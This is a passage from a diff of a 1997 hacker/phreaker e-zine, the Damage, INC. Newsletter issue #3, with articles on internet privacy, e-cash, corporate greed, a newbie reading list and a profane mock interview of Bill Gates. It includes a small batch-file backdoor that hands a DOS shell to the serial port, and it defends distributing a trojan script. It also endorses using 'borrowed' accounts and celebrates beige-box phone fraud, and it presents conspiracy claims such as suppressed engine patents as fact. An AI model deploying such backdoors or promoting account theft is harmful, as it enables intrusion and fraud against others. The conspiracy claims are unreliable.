+no means should you just rely on them as your only source. As in, you have to
+look for things on your own if you want to learn and become involved in the
+h/p scene. Overall, I feel that the local h/p scene is starting to change.
+Damage, INC. is changing the way people look at h/p, their attitudes, and
+ignorance by providing them with quality, reliable information.
+
+Also, there are people bashing and attacking Damage, INC. in this area, yet
+they don't even know what we're involved in. Instead of making assumptions,
+or listening to rumours, learn the truth and get the facts straight. Just
+because we include a debug script for a trojan in the newsletter, doesn't
+mean we are responsible for it nuking someone or a board. Why not? Debug
+scripts aren't executable files, nor are we uploading the trojan anywhere.
+Therefore, it's up to you if/how the trojan is used. Think about it. ;)
+
+We're still looking for Writers, Members and Distribution Sites. If you'd like
+to apply to Damage, INC. and join a respected h/p group, then download a copy of
+the Damage, INC. Application Generator. If you want any of our releases, they
+are available on the following boards:
+
+...AND JUSTICE FOR ALL - Damage, INC. WHQ, h/p/a/c/v/t, no ratios, invite only.
+Freedom of Information Archives - Damage, INC. Dist. Site, h/p/a/c/v/t.
+
+Any feedback or letters to the editor should be sent to BLACKENED in Email on
+a Damage, INC. board.
+
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+ "The name speaks for itself!" ÞÝ
+
+ Presents the
+
+ Damage, INC. Newsletter
+
+ November 1997 Issue #3.
+
+ "You ain't seen nothin' yet!"
+
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+ C O N T E N T S :
+
+
+þ INTRODUCTION - An Introduction to the Damage, INC. Newsletter.
+
+þ BIG BROTHER BASHING - The Internet: Big Brother's pride and joy.
+ ¯ Search String: {BIG BROTHER}
+
+þ BLACKENED'S TIP OF THE MONTH - Practical uses for batch files.
+ ¯ Search String: {BLACKENED}
+
+þ CONSPIRACIES AND COVERUPS - Mondex and Electronic Cash: From 1s to 0s.
+ ¯ Search String: {COVERUPS}
+
+þ CORRUPTION AND GREED - Corruption and Greed in our Global Markets.
+ ¯ Search String: {GREED}
+
+þ H/P INFORMATION AND NEWS - Information for newbies and h/p News.
+ ¯ Search String: {NEWS}
+
+þ INTERVIEWS AND INTERROGATIONS - An interrogation of Billy Gates.
+ ¯ Search String: {INTERVIEWS}
+
+þ LETTERS TO THE EDITOR - More feedback about the Damage, INC. Newsletter.
+ ¯ Search String: {LETTERS}
+
+þ OBJECTIVE OPINIONS - The Media - Mistakes or Misinformation?
+ ¯ Search String: {OPINIONS}
+
+þ REPORTS FROM THE FRONT - Privacy Policy Chart - Online Service Providers.
+ ¯ Search String: {REPORTS}
+
+þ SOURCE AND SCRIPTS - The File Creator Utility assembly source code.
+ ¯ Search String: {SOURCE}
+
+þ THE JOURNALIST'S TOP TEN LIST - Top Ten pranks on the Internet.
+ ¯ Search String: {TOP TEN}
+
+þ CLOSING COMMENTS - BLACKENED'S Disturbing Closing Comments.
+ ¯ Search String: {CLOSING}
+
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+
+
+INTRODUCTION: Another issue of the Damage, INC. Newsletter is here... so sit
+ back and enjoy the fucking ride. We're going to take you on a
+ journey that will expand your mind, enlighten your thoughts and
+ awaken your very soul. ;)
+ This November issue is packed with interesting information and
+ we hope it will open your eyes slightly after you've read the
+ articles that we've written. If not, then perhaps you should go
+ back to your clan of zombies, chat for hours in #warez or call
+ your favourite lame board because the Damage, INC. Newsletter
+ wasn't intended for you. That's point blank d00d! Haha...
+ The content and message are more important than the aesthetics
+ and layout. For the loyal readers that understand the concept:
+ enjoy reading the newsletter and send us feedback.
+
+
+BIG BROTHER BASHING - {BIG BROTHER}
+The Internet: Big Brother's pride and joy.
+
+The Internet is well known for the mass amounts of information that are
+available to its users all around the world. As millions of people
+obliviously post email and in newsgroups, or move from web site to web
+site, Big Brother is watching. Never before has it been so easy for Big
+Brother to profit from the private information it has obtained, as well as
+track Internet users' activities.
+
+It is sickening, but not shocking, how many databases that contain private
+information are accessible on the Internet. Do you know how easy it is for
+someone to find your phone number, email address, and street address? Or
+that extremely sensitive information like your SIN/SSN number is probably
+available on a pay-for-query database? It is very easy. The more active
+you are on the Internet, the more chances Big Bro has to learn about you.
+
+It is Big Brother's intent to create online dossiers by collecting vast
+amount of data, and indexing said data by your name. A search engine could
+retrieve your dossier, and then the searcher could examine it. Every bit
+of personal data, personal habits, newsgroup posts, etc. would all be
+disclosed without your knowledge.
+
+That information can easily be used against you. With the information that
+is available, your identity could be easily stolen from you. Decades from
+now, your words can be used against you. In essence, Big Brother can use
+the Internet to destroy you...or to control you.
+
+For many people, Internet Service Providers (ISPs) are their link to the
+Internet. What most Internet users don't consider is that their ISP
+operator could be bought out by Big Brother. How else do you think Yahoo,
+Hotbot and their kin maintain their email databases? ISP operators sell
+them! If you chose to be a legitimate Internet user (use an account under
+your own name) that means that the ISP has your real name, street address,
+telephone number, plus any other information you had to give them. Does
+that information get sold as well? Can your particular ISP be trusted to
+keep your personal information private? Those are the questions you should
+ask when choosing an ISP.
+
+Don't forget that the system administrator can sniff your TCP/IP packets or
+use a protocol analyzer to see what you are up to. I have also been
+informed that different types are logs are created, and can't be cleaned up
+unless your ISP allows you to have a shell account.
+
+Everyone that has used Internet Email should realize that their
+Username@Location attached to every post. Therefore, every email posted
+can easily be traced back to you. And in any event, your ISP could
+possibly has a copy of your message backed up.
+
+Big Brother has created scanners that scan email messages for "obscene"
+words. It is not unreasonable to believe that your email is scanned for
+private information that can be added to your dossier. Plus the
+administrator of your ISP can read all of your incoming and outgoing email.
+If you use the Internet at work, your employer has a legal right to read
+your email. And do you know for sure if an email message is purged after
+you delete it?
+
+Big Brother has found that the World Wide Web is an excellent way to track
+Internet users, and to learn more about their personal interests. First of
+all, when you connect to a web site/page the TCP/IP packet contains your
+your origin site (ISP address) and username. From that information, your
+email address can be ascertained. With your email address, it is very easy
+for a web site operator to find out any other personal information, like
+your real name, street address, telephone number, etc. Of course, all the
+activities you perform and are logged in a cookie file.
+
+Also, any information you have inputted on the web site will be in the
+cookie file, as well as a database on the actual site. Web sites can read
+cookie files to find out other information, such as the last web site you
+have visited. If you return to the site without deleting the cookie file,
+it reloads all of what you did during previous visits.
+
+With all of the information at their disposal, they can do virtually
+anything. They can spam you with advertising targeted at your perceived
+interests, sell what they have found to marketing firms, etc.
+
+As you can imagine, the battle to keep information private has been lost.
+The only hope that remains is to give users the option to access the Internet
+anonymously. Various techniques have been implemented to that end.
+Anonymous (email) remailers, and the services provided by web proxy servers
+try to provide anonymity to Internet users. However, anonymous web browsing
+and email are currently unsophisticated and underdeveloped. Big Brother and
+hackers will always find ways to defeat the anonymizing systems. Obviously,
+the best way to access the internet anonymously is to use a "borrowed" account
+that contains none of your information. Big Brother can't track you then.
+
+I am certain that this will be the first of many articles on Big Brother
+and the Internet. To expose every area of the Internet that Big Brother
+has infiltrated is impossible in this one article. :-( The intention of
+this article is:
+
+1) To make you aware of how much of your personal information is easily
+ attainable from the Internet.
+2) To let you know how easy it is for Big Brother to link you to your
+ Internet activities.
+
+Written by Shatazar - Damage, INC. (C)opyright 1997.
+
+
+BLACKENED'S TIP OF THE MONTH - {BLACKENED}
+Practical uses for batch files:
+
+Here's a quick tip. The batch file below can be used as a shell to DOS
+utility (or backdoor if you prefer to call it that). Just put it onto a menu
+and have it execute it like a door. You can also convert it to a filename.com
+by using a BAT2EXEC utility... to make it more difficult to read. ;)
+
+@Echo Off
+ctty com1
+command
+
+You should create your own batch files, to automate any of the repetitive
+commands you do on your system. The DOS manual isn't the greatest reference
+to use, but most people already have a copy of it just collecting dust on a
+shelf somewhere. As a start, I suggest you try to learn more about batch
+programming by reading through your DOS manual. After that, you can download
+a more advanced reference like TSBAT50.ZIP and learn from those examples.
+
+Programming batch files to perform tasks is a simple, efficient way to improve
+your system. They can be very useful if properly applied. Also, using a batch
+file for frequently used commands is a real time saver. We've included a copy
+of DAMZIP.BAT. It's a small (only 650 bytes) batch file that adds zip comments
+to .ZIP files and includes bbs ads in them as well. Simply clip out the code,
+and save it to a file named DAMZIP.BAT. Then, you will need to modify it
+slightly so that it works on your system. As in, change the paths from c:\ads\
+to the directory that contains the ascii zip comment file... and your bbs ads.
+Obviously, the filenames must also be changed to match the files you are going
+to use for the zip comment and bbs ads. DAMZIP uses .ZIP as a default extension
+so it's not necessary to enter a filename extension when using it.
+
+DAMZIP filename # - Processes a single .ZIP file.
+DAMZIP * # - Processes *.ZIP files in the current directory.
+
+You can select the zip comment file by using the # switch. Examples:
+
+DAMZIP * 4 - Processes *.ZIP (all .ZIP files in the current directory) and
+ uses justice4.asc as the zip comment.
+
+DAMZIP damage-3 1 - Processes damage-3.zip only and uses justice1.asc as the
+ zip comment.
+
+------------------------------------------------------------------------------
+@Echo Off
+IF "%1"=="" GOTO Help
+IF not exist %1.zip GOTO Error
+ECHO.
+ECHO DAMZIP v1.00 - By Damage, INC. (C)opyright 1997.
+ECHO Working...
+FOR %%a IN (%1.zip) DO pkzip -z %%a nul
+FOR %%a IN (%1.zip) DO pkzip -a %%a c:\ads\(519) >nul
+FOR %%a IN (%1.zip) DO pkzip -a %%a c:\ads\nuke-you >nul
+IF not "%1"=="*" GOTO Done
+ECHO.
+ECHO ZIP files found:
+DIR *.ZIP /b
+GOTO Done
+:Help
+ECHO.
+ECHO DAMZIP v1.00 - By Damage, INC. (C)opyright 1997.
+ECHO DAMZIP ®filename¯ ®file number¯
+ECHO.
+GOTO End
+:Done
+ECHO.
+ECHO Finished.
+ECHO.
+GOTO End
+:Error
+ECHO.
+ECHO Aborting DAMZIP. %1.ZIP was not found.
+ECHO.
+:End
+------------------------------------------------------------------------------
+
+
+CONSPIRACIES AND COVERUPS - {COVERUPS}
+Mondex and Electronic Cash: From 1s to 0s
+
+For thousands of years, humans have exchanged currency for goods and
+services. Currency has always had some real value. In ancient times,
+currency was judged on the composition of a coin. Gold coins were
+literally "worth their weight in gold." In modern times, governments issue
+paper money and coins. Most modern currency doesn't obtain its value from
+composition. They are backed by the gold reserves of that particular
+country. The currency only becomes worthless when the country totally
+collapses. Chartered banks are also afforded protections from that
+country's reserve bank, so that innocent citizens don't lose all of their
+money if the bank goes bankrupt.
+
+For some reason, governments and "society" wants to change the tried and
+true method of real currency. With the introduction of "smart" cards, it
+will be possible for corporations to issue "electronic money." Of course
+these companies are outside of the regulated banking system, so they are
+not afforded any protections that currency and bank deposits do. Unlike
+cash, electronic money has nothing backing it up. You must trust the
+corporation holding your money completely!
+
+Smart cards look like any plastic credit or debit card. They differ in
+that they do not rely on magnetic strip technology. Inside of a smart card
+is a microprocessor that is capable of storing, sending and receiving
+information. To put electronic cash on the card, one must go to an ATM
+machine and download it onto the smart card. The money in your bank
+account is gone. It now only exists on the smart card. These cards are
+also referred to as a Stored Value Card. You then may go to businesses
+that have a compatible smart card system to purchase items or services.
+
+Gee, doesn't cold hard cash do the same thing? ;) What is the advantage
+gained by using electronic cash? The only advantage I've heard is "I don't
+have a whole bunch of change in my pocket." Haha... In reply I say that
+you can easily have nothing in your pocket...and in the "smart" card.
+
+Mondex International is one of many corporations that are competing to
+establish their technology as the standard electronic cash system. They
+currently have pilot programs under way in various small cities in, such as
+Guelph, Ontario.
+
+The current Mondex system requires an Automatic Teller Machine (ATM) of a
+participating bank to put money onto a card. Then the electronic cash can
+be used at retailers that are participating in the trial. Mondex cards are
+also capable of performing card-to-card electronic cash transfers. Of
+course, the transfer is offline, so Mondex's records have to be updated at
+an ATM. Fat cat banks and corporations that back Mondex are MasterCard
+International (which owns 51% of Mondex), Royal Bank of Canada, Canadian
+Imperial Bank of Commerce, and the most corrupt of them all, Bell Canada.
+
+What Mondex users may not know is that Mondex once claimed that all of
+their transfers were "anonymous, just like cash." They said this in a
+previous pilot program in Swindon, United Kingdom. However, Privacy
+International made a formal complaint, exposing Mondex's lie. A lie that
+should be obvious since each Mondex card has its own unique ID number. It
+may be of interest to Guelph Mondex users that CIBC was planning on
+creating dossiers and marketing reports on all Mondex users that would use
+their ATM machines.
+
+While telling Mondex users that their system was "anonymous", they told the
+participating banks and corporations that "the Mondex card system is fully
+auditable. There is an electronic record of the time, date, amount, and
+participants of each transaction." Huh? How can something be "anonymous"
+and "fully auditable" at the same time? Mondex is really trying to have it
+both ways. Mondex was caught in a blatant lie. And yet you are expected
+to trust them with your money! What integrity does this corporation have?
+
+The truth is that the Mondex auditing system is complete enough to invade
+the privacy of users, but not "fully auditable." A Mondex card has a very
+limited amount of storage. Therefore, an active "offline" Mondex user can
+overflow the memory, causing data loss. And were talking "money" here, so
+data loss means money loss. If the electronic cash is lost in cyberlimbo,
+or if the card is damaged guess who benefits? The word `Mondex' should
+come to mind.
+
+The flaws in the Mondex auditing system leaves the entire system very
+vulnerable to fraud. Imagine an organized crime syndicate creating a huge
+amount of counterfeit electronic cash? Mondex would meltdown. And if
+Mondex's system is compromised by fraud, who pays in the end? Let's put it
+this way, you might as well take your Mondex card and melt it down. You
+won't be able to access the money on your card because Mondex will shut its
+system down.
+
+Are you skeptical that Mondex can indeed meltdown? I'll quote Mondex's
+`top security man'. "Let's be honest -- no system is fraud-proof. If I
+were to claim Mondex is fraud-proof, you'd say I was an idiot. And you'd
+be right. We don't claim that. The system has to be built to tolerate a
+loss. If you don't design your system like that, you've had it. We've
+designed a system that will tolerate loss."
+
+Mondex is ready to "tolerate a loss." Are you? Are you prepared to lose
+everything when Mondex's system is compromised? Mondex doesn't care.
+They'll just change their internal encryption scheme and send you a new
+card with an apology letter. Are you prepared for your Mondex card to be
+shut down if Mondex is suspicious of fraudulent activity? Do you believe it
+could be shut down just before you need to pay for lunch, or taxi fare?
+Cash just doesn't disappear like the insecure electronic version can. ;)
+
+If you use a Mondex card, you are a puppet...and Mondex is pulling your
+strings. There is a price to be paid if you have the need to be
+"high-tech." If Mondex cards are distributed throughout North America,
+Europe, and the rest of the world, we'll all have to decide whether we will
+use a smart card or cash. Damage, INC. just wanted to warn you that Mondex
+and other similar "smart cards" aren't as secure as they claim to be, and
+aren't as fast or convenient as cash.
+
+Written by Shatazar - Damage, INC. (C)opyright 1997.
+
+
+CORRUPTION AND GREED - {GREED}
+Corruption and Greed in our Global Markets:
+
+..an article by the journalist
+
+FOREWORD:
+ In writing this article, I want to make you aware of some of the reasons
+behind the hacking/phreaking/anarchy/viruses/carding scene. Why do people
+join together to learn about information that goes "against the state?"
+Why do people risk themselves to participate in illegal activity?
+Big Brother sees this as a form of treason... and I think if you learn
+the philosophy behind h/p, you will understand why *we* think our gov't
+officials are the real perpetrators.
+
+ Corruption is the cancer of our society. It eats away at the living
+flesh from the inside out. Corruption multiplies, it mutates, and it
+infects. Ask any politician what their original motives were for getting
+into politics. Compare their answer to what their current activities are.
+You will most like see the "greed virus" has overtaken their psyche. They
+have seen the briefcases of bribe money in front of them, and they were
+weak. Their weakness becomes manifested in society as "cutbacks" and
+"downsizing."
+ Of course none of this can be proven.
+ What I can prove though, is what happens globally and nationally in our
+economic system. How corruption and greed in our global markets have caused
+a once stable system to fall to its knees. How individual and mass
+decisions affect entire nations' economic balance. I will also provide you
+with educated predictions on current cover-ups of corruption/greed in
+economic markets.
+ Who is the criminal behind the mask in most of these situations? Either
+the United States Gov't, or large corporations such as Microsoft, McDonalds,
+Coca-Cola, etc. As an example, when you buy a CD such as Pearl Jam, or
+Spice Girls... you are paying around $20.00 when all is said and done.
+Let me give you a general price break-down for your $20.00:
+
+ Cost of CD to produce: $1.00 or less
+ Taxes going to Big Brother: $2.50
+ Royalties to the artist: $3.00 or less
+ Royalties to BMG/SONY/VIRGIN: $12.00 or more.
+
+That is an estimation, but it shows you how greedy the music companies
+are... we should only be paying about 1/2 of what we do for CD's and tapes.
+Most people are too ignorant to realize this.. although there's not much
+we can do about it except stop buying CD's.
+ The focus of this article however is global markets. So I would like
+to start off by bringing your attention to our nice little deal with US and
+the Mexicans - NAFTA. In case you don't know, this stands for
+North American Free Trade Agreement. And essentially what it does is enable
+large manufacturers to move plants down into mexico where labour is dirt cheap.
+The old factories are either run at 1/2 the output (with 50% less employees)
+or shutdown completely). This is simplified to prove a point, and perhaps
+NAFTA was not originally meant to cause poverty. But it has, and that makes
+me doubt this fact. Key questions are: "why would a company sell-out its
+employees just for bigger profits?" and "How does the government let this
+happen?" The answer is up to you to find.
+ When it comes to greed, all big companies know that the most profits
+are gained when you have a monopoly on a market. A monopoly means that only
+one company is providing a product, and there is no competition to drive
+down prices, and increase quality standards. In our capitalist society today,
+this kind of behaviour dominates. Micro$oft is probably the epitome of this
+negative action. Microsoft is the bully of the software market, and if you
+weren't aware of this, and still support Microsoft's inferior software, then
+perhaps you should re-evaluate. Microsoft's marketing scheme is extremely
+aggressive and self-serving. I'm all for making big profits, but this is
+getting out of hand. What Bill does is force retailers who want to be a
+licensed microsoft vendor to put win95 on the new machines that they sell.
+Microsoft crams its shitty software down their throats (retailers), and as a
+result, they cram it down *our* throats, in order to make what little profit
+they can to pay the bills. This information is from a reliable source.
+ Because this kind of behaviour is very bad for publicity, companies try
+to hide it from you. If you an ignorant zombie, you might perhaps not
+believe anything I illustrate here. Go fuck yourself. To continue, I am
+going to outline a couple of ideas that a lot of enlightened people believe
+to be true. Currently we are cutting down trees at a rate of something to
+the order of one square kilometer per minute. It is sickening. If you have
+ever driven past a "de-forested area" you will immediately feel death in the
+air. Logging companies are relentlessly slaughtering our earth's beautiful
+forests. The shocking thing is, we know of an alternative source for this
+material, yet it is illegal to grow for industrial, and recreational purposes.
+I am talking about Cannabis; Hemp; Marijuana. Hemp is known to yield higher
+gains for paper products than any tree. Hemp grows annually, unlike trees
+which take 40-100 years to mature. And Hemp is cheaper and easier to grow.
+Why then, are we not utilizing this wonderful plant? The answer my friends
+is because of a little word called 'greed'. Let me explain, logging has been
+a huge business over the course of the 20th century. The companies are all
+associates, and are all aware of the inevitable ban on de-forestation. Of
+course they don't want to go out of business. These fat cats have been
+living the good life their whole lives, and they do not want to give it up.
+Now focus on the politician, who is going to vote yes or no to a bill that
+will make hemp legal for industrial use. It is in the interest of the
+logging company to "buy" this guy's vote. The politician is offered $25000
+to vote 'no' to legalize hemp. This situation happens so much more than you
+know my comrades. In almost *every* multi-million dollar industry,
+kick-backs, bribes, and pay-offs are made every day. The rules seem to be
+different at a billion dollars. It seems you are allowed to fuck with the
+earth's precious balance for the promise of incredible profits.
+ Another quick example of how this is occurring right now has to do with
+the oil and car companies. It appears there are serious repercussions in
+all this corruption. Pollution threatens to take over our earth's atmosphere,
+because of harmful smoke from factories, and also because of the oxides let
+into the air by cars and trucks. It seems to me, that this follows the
+textbook case for an industrial scandal in order for continued profits. There
+is *no doubt in my mind* that a superior engine to the gasoline engine exists
+that is cheaper to produce, requires cleaner fuel, and is available to produce
+in mass-amounts for little or no change-over costs. Unfortunately, these
+incredible inventions have to get a patent before anything can be done. I
+believe that the oil companies buy these patents (through corrupt methods)
+before any scientist has a chance to build a prototype, or attempt to
+publicize their findings. The oil companies then lock the blueprints up so
+that they can continue to reap the profits they know and love.
+
+EPILOGUE:
+ I could continue on for pages with examples of how greed is starting to
+seriously affect our society. Big Brother (our gov't) is guilty of many
+times choosing capital gain over the good of society. You must find out for
+yourself what is *really* going on in the world right now. Get off your butt
+and read a book, or call FoI and enlighten yourself. Until more people
+become aware of this corruption, it will continue to happen. Thank you for
+taking the time to read this article, and the Damage, INC. Newsletter.
+
+
+H/P INFORMATION AND NEWS - {NEWS}
+
+Since Army Boy made a request for files and information that would benefit
+a newbie, I decided to create a 'reference for newbies' in this section.
+However, it is up to you to download, read, learn and use the utilities in
+this list. We can't and won't hold your hands and just give you information
+like codes etc. You'll have to learn how to obtain them on your own. We will
+tell you what's necessary to get started though. ;)
+
+The Ultimate Wish List for Newbies:
+
+2600_795.ZIP - FAQ on hacking and phreaking from alt.2600 newsgroup and
+ 2600 magazine.
+ABCHACK.ZIP - The ABC's of Hacking.
+COMPUNIX.ZIP - The Complete Guide to Unix and Unix Hacking.
+CRACKDOW.ZIP - The Hacker Crackdown book by Bruce Sterling.
+CRYPTFAQ.ZIP - Cryptology FAQ.
+SNIFFER.ZIP - Sniffer FAQ.
+SOCIAL~1.ZIP - The Complete Social Engineering FAQ.
+PHREAK_M.ZIP - The Official Phreaking Manual.
+FIELDPHR.ZIP - Information on Field Phreaking.
+FONE_T~1.ZIP - Phone Systems Tutorial by The Jolly Roger 1/2
+FONE_T~2.ZIP - Phone Systems Tutorial by The Jolly Roger 2/2
+SIRHACKS.ZIP - A Unix Hacking Tutorial by Sir Hackalot.
+TL110.ZIP - ToneLoc v1.10 Wardialer/Scanner.
+MENTOR.ZIP - The Mentor's Guide to Hacking.
+NOUTIL2.ZIP - Nowhere Man's Utilities.
+CRJACK41.ZIP - Cracker Jack v1.4 Unix Password Cracker.
+SR504.ZIP - Sourcer v5.04 Disassembler.
+TASM31.ZIP - Borland's Turbo Assembler v3.1 (or new version).
+HELPPC.ZIP - HelpPC v2.10 Quick Reference Utility for assembly.
+QEDIT.ZIP - QEdit text file editor.
+XE353.ZIP - XE v3.53 Hex Editor.
+
+There are also some magazines that newbies should download and start reading.
+We recommend CUD (Computer Underground Digest), 40-Hex, The Crypt Newsletter,
+Phrack, NuKE Info-Journals, LOD/H Technical Journals and VLAD.
+
+
+úúúÄÄÄ H/P NEWS ÄÄÄúúú
+
+Unfortunately, there's not a tremendous amount of local h/p news to report
+since nothing major has happened in 519. However, we might publish news
+from the 604 area code in the next issue. - BLACKENED
+
+I've just recently entered the h/p scene in 312 (Chicago)... and so far it
+looks fairly promising. Sure, there have been some busts in this area in
+the past, but at the moment it seems rather stable and calm. From what
+BLACKENED told me the last time we spoke, 519 is in a hellish state... with
+very little interest or excitement. The 312 area code isn't nearly that bad,
+although it is larger with more experienced people involved. Thus far, I
+have found a few good h/p boards to call and check out... and I'm enjoying
+my stay here. I actually found a few boards quickly by scanning. :)
+- Blackie Lawless
+
+
+INTERVIEWS AND INTERROGATIONS - {INTERVIEWS}
+An interrogation of Billy Gates.
+
+-B = BLACKENED
+-G = Billy Gates
+-L = Micro$oft lamers/lackies
+
+
+Hello, Micro$oft. This is BLACKENED of Damage, INC. I'd like to do an
+interview with Billy Gates. Is he available or is he going to dodge my
+questions again? -B
+
+Billy might be currently tied up ruining... I mean buying some other
+companies right now.. Let me check. I'll put you through... -L
+
+... Hello, this is Will. -G
+
+Hello there. I was finally able to get through your lame security. ;) -B
+
+Security? haha, I have no concept of what security is. Just look at my
+Operating systems. -G
+
+I meant, you have lackies screening your phone calls for you. Why have you
+been trying to hide from Damage, INC. for years man? All I want to do is ask
+a few simple questions... The future of Micro$oft will depend upon this
+interview. So, be honest for once in your fucking life. ;) First, why did
+you ever release that piece of shit called Win95? Was it done totally for
+quick profit? -B
+
+I resent that. I believe windows 95 is the best product on the market right
+now. If it has the Microsoft label, it's good old Microsoft quality. Haha.
+I released it so that I could become the most hated man in the world. I'm
+doing a good job don't you think? Would I put out an overrated operating
+system just for quick profit? ... you bet your life i would. -G
+
+Hahaha. Yes, of course you would. Micro$oft and the word quality don't go
+together man. Windoze is completely bug ridden and an inferior operating
+system. You know it, I know it, and the only people that don't are the
+Windoze zombies that buy the shit you peddle. Next thing you know, you'll be
+trying to defend your shitty Win95 keyboards. Haha. Why hasn't Win98 been
+released yet? Are your highly paid programmers still trying to fix up their
+Visual Basic code? -B
+
+Why you facetious little punk! Who the hell do you think you are? Insulting
+my company, and my excellent, rayon coated keyboards.
+Zombies? hahah, that's interesting, that's the word I used to describe that
+in my marketing plan.
+I'm waiting to release win98, actually its been ready for months. But I want
+to squeeze more money out of my first attempt at real multitasking. -G
+
+I'm your worst enemy Billy. Now that you know who I am, I have a few more
+questions to ask you. What companies are you planning on buying next? Also,
+are you ever going to buy yourself a new shirt and tie, or an expensive suit?
+Or are you that cheap that you want to hoard your $40 billion dollars... Most
+people that I associate with call you a greedy bastard.
+Do you realize that? -B
+
+A greedy bastard? Geez, nobody's ever called me that before... . So I
+am worth more than Cuba. That's greedy? I thought I was being generous.
+You say I wear cheap clothes? Thats' because I'm a four-eyed nerd, who
+doesn't have an inkling of social acceptance, or moral conscience. Does that
+answer your question?
+You think I would tell you what companies I'm buying next?
+...actually I don't even know myself - I have a big wheel that I spin, and
+the space it lands on corresponds to a business that becomes part of
+Microsoft that day. hahahah -G
+
+That doesn't surprise me at all. I agree, you're the biggest geek/lamer
+around. Yeah, you do wear cheap clothes. You should also consider buying
+a new pair of glasses. Hahaha. As for the companies that you'll buy next,
+I'm sure you have secret plans to buy out Intel and have a monopoly on the
+hardware industry... to go along with your software monopoly. You're a very
+lucky man in some respects Billy. IBM really gave you a good start back in
+the 1980's. You have them to thank for your wealth... but I'm sure your ego
+forces you to credit yourself with building Micro$oft. I just hope the U.S.
+Government fines the hell out of you! Hahaha. -B
+
+FUCK YOU MOTHERFUCKER!! THEY'LL NEVER GET MY MONEY. NEVER.
+..AND NEVER *EVER* SAY 'IBM' IN MY PRESENCE AGAIN. SPIT, SPIT. -G
+
+The rest of the words were too big for me to understand... -G
+
+After the sweet deal IBM gave you back then, I'm surprised at your hatred for
+them. Of course, your deal with Apple soured a little bit too. Is that a
+soft spot that I detect? You don't like any other companies besides your
+own, do you? Haha. As for the U.S. Government, they're doing what is right
+for once... in attempting to stop you from dominating and controlling the
+world. Just as, hackers do their part to destroy your little, shitty
+network. -B
+
+I have no idea what you're talking about. I have no plans to dominate the
+world. Maybe North-America. Shit, oops, that's off the record. Don't print
+that okay?
+No I don't like competition. Capitalism is a full-scale war, and I'm
+winning. Why would i want to stop? Death is symbolized in takeovers, and I
+have killed thousands. Those who try to battle with Microsoft will feel the
+iron fist of the most influential fighter strike them down as if they were
+flies. No one can stop me, no-one can stop me now. -G
+
+Damage, INC. doesn't make deals with lamers Billy... and you more than
+qualify for the lamer category. Haha. Someone will stop you. Damage, INC.
+will continue to inform people about you and Micro$oft. You influence the
+ignorant zombies and prey upon their lack of knowledge to sell inferior
+products. Without them buying your shitty software, you'd be nothing man!
+You've tainted the word capitalism... and sicken me. Of course you don't
+know what I'm talking about. You pretend to be coy, meanwhile you're
+probably planning your attack on the rest of the software market as we speak.
+I speak for millions of people when I say, Fuck You! We'll do everything
+in our power to stop you... and your corrupt, greedy, underhanded company.
+You can't influence the intelligent Gates. That's why you'll never defeat
+us. -B
+
+What's your name again? Blackened. You are absolutely right there Blackened.
+But I am smart because I know that the people you talk about only represent
+1% of the population. The government thinks they can try and stop me by
+fining me. Haha. I make a million dollars a day in interest. I am a man
+who lives with no emotions. My wife and I sleep in separate beds, and when
+we have sex, well, we never have sex, as my pecker's too small. You may
+think you know everything Mr. Blackened, but my only weakness is my greed.
+Try and find a way to exploit that. Tell me why I should be scared of
+Damage, INC. -G
+
+I'll never install any version of Windoze. That's one thing I *do* know Mr.
+Billy Gates. Sure, I only represent a very small portion of the population,
+but the Damage, INC. Newsletter will be distributed world wide... and you
+*will* be exposed. Everyone will know that you're a corrupt bastard that
+thrives on greed... after they read the next issue! Hahaha. Stick that in
+your pipe and smoke it Billy! Actually, that's a good idea. Try smoking a
+little weed sometime and calm down... As for exploiting that, if there's a
+way to destroy Micro$oft, we'll find it. That's a promise man. I don't
+want to hear about you and the pathetic situation with your wife... All that
+tells me is that you aren't a man, but a fucking geek that lives for money.
+Do you sit in a big leather chair behind your desk and look at your bank
+books and investments every night like a fat cat while others do your dirty
+work for you? -B
+
+Actually my chair is zombie-hide. And I have a nice big 50" monitor that
+updates me every second of how much money I make. Did you know I make over
+$100 000 a second? muahahahah.
+What's this Newsletter? fuck it, its no match for my team of skilled
+investigators. We will find and destroy Damage, INC. But you can't tell
+them all. -G
+
+ I'm shaking my head at you Gates. As if I'd give you any information
+about the Damage, INC. Newsletter. Let's see if your paid lackies can stop
+us. Haha. Check your Caller ID... I'm calling Micro$hit from your home
+phone number d00d... Hehe... ;) -B
+
+??? - "Hey Sergio, go look at the call-display, NOW." ... -G
+ "Yassir, ze nomber eez 555-GEEK.. eetz your hom phon nomber." -L
+ "How the hell??... quick call security." -G
+
+I don't know who you are Mr. Blackened, but don't play games with me. I
+don't know what you're up to. I'm losing faith in my excellent team of
+security guards. What are you trying to prove here you big bully? -G
+
+Haha. You don't fucking know anything Billy... ;) I'm not playing games,
+this is war... as you said earlier. I will do whatever is necessary to
+make you pay. Speaking of making you pay, I *really* appreciate you allowing
+me to use your phone line. In return, you will get an early Christmas
+present when you receive your phone bill... Hahahaha! Thanks again. I
+enjoyed beige boxing for the past few days and calling all over the world
+while you were at Micro$oft wheeling and dealing. I've only just begun
+though man. You ain't seen nothin' yet fucker! CLICK! -B
+
+..."hello, hello?". Fucker must be lying, those "beige-boxes" only work in
+the movies. ;) -G
+
+
+LETTERS TO THE EDITOR - {LETTERS}
+
+The message below was posted on FoI and addressed to The Journalist, but since
+it's feedback about the Damage, INC. Newsletter... I decided to include it. ;)
+If you have a comment, suggestion or hate mail that you want published, just
+leave me Email on AJFA, FoI or Distraught Continuum.
+
+- BLACKENED
+
+
+From: Army Boy Base : [General] Discussion
+To : The Journalist Refer #: None
+Subj: Newbie (of course) Replies: None
+Stat: Normal Origin : Local
+
+Hate to bug you on a day like today but I just read the newest damage
+newsletter release, and enjoyed it. Very comical, informative and
+inspirational ;)
+
+I was just wondering (since I'm a newbie scum or whatever) if you could refer
+me to some information philes (<-cheap reference) on getting started. I know
+nothing about programming, assembly, boxes, etc... and It would be nice If I
